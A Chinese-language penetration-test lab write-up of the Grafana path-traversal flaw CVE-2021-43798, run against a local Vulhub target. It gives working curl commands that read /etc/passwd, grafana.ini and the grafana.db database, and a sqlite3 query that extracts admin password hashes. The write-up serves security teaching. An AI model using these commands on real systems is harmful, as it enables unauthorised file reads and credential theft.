漏洞基本信息

项目 内容
漏洞名称 Grafana 路径规范化缺陷 (目录穿越/任意文件读取)
CVE 编号 CVE-2021-43798
危险等级 Critical
受影响版本 v8.0.0-beta1 至 v8.3.0
测试环境 Kali Linux (Vulhub / Docker)
靶场目录 ~/Desktop/vulhub/grafana/CVE-2021-43798

漏洞成因分析

Grafana 在处理插件(Plugins)静态资源请求的 URL 时,由于对文件路径的限制不严格,导致了该漏洞的产生。

  1. 逻辑缺陷:程序未能正确过滤或规范化路径中的 ../ 字符。
  2. 未授权访问:由于 /public/plugins/ 接口用于加载插件静态资源,默认无需登录即可访问,这使得攻击者可以在未授权的情况下实施攻击。
  3. 常见影响:访问到本不该被读取的服务器本地文件,如 /etc/passwd、配置文件、密钥等。

渗透测试过程 (PoC)

免责声明: 本实验仅用于安全教学与授权渗透测试,严禁用于任何非法用途。

1. 漏洞验证 (PoC)

在 Kali 中使用 curl 命令配合 --path-as-is 参数(防止路径被本地解析简化),通过默认插件 alertlist 尝试读取系统敏感文件。

1
2
3
# 读取系统用户信息
curl --path-as-is [http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../etc/passwd](http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../etc/passwd)

执行结果:成功获取系统用户信息,证实存在 root、bin 以及 grafana 用户。

2.敏感信息窃取

通过该漏洞,进一步读取了 Grafana 的核心配置文件 grafana.ini
攻击指令:

1
2
curl --path-as-is http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini

获取的关键数据:

  • Secret Key: SW2YcwTIb9zpOOhoPsMm (用于加密数据源凭证)
  • 数据存储路径: /var/lib/grafana

3.数据库脱库与凭证获取

成功下载 Grafana 的 SQLite 数据库文件并提取管理员哈希。
攻击指令:

1
2
curl --path-as-is http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
sqlite3 grafana.db "SELECT login, password, salt FROM user;"

4.影响分析

敏感数据泄露:攻击者可以读取服务器上的任何文件,包括系统密码、SSH 私钥、云平台密钥等。
管理权限沦陷:通过获取数据库中的哈希值并进行离线爆破,攻击者成功以 admin 身份登录 Web 后台。
内网纵深攻击:登录后台后,攻击者可利用 Data Sources 功能作为跳板,对企业内网其他资产进行 SSRF 探测或连接内网数据库。

5.结论

本次渗透成功通过路径穿越漏洞获取了应用系统的最高管理权限(Admin)。由于环境内暂未配置外部数据源,未进一步实施横向移动,但理论上该漏洞足以导致企业内网的核心业务数据泄露。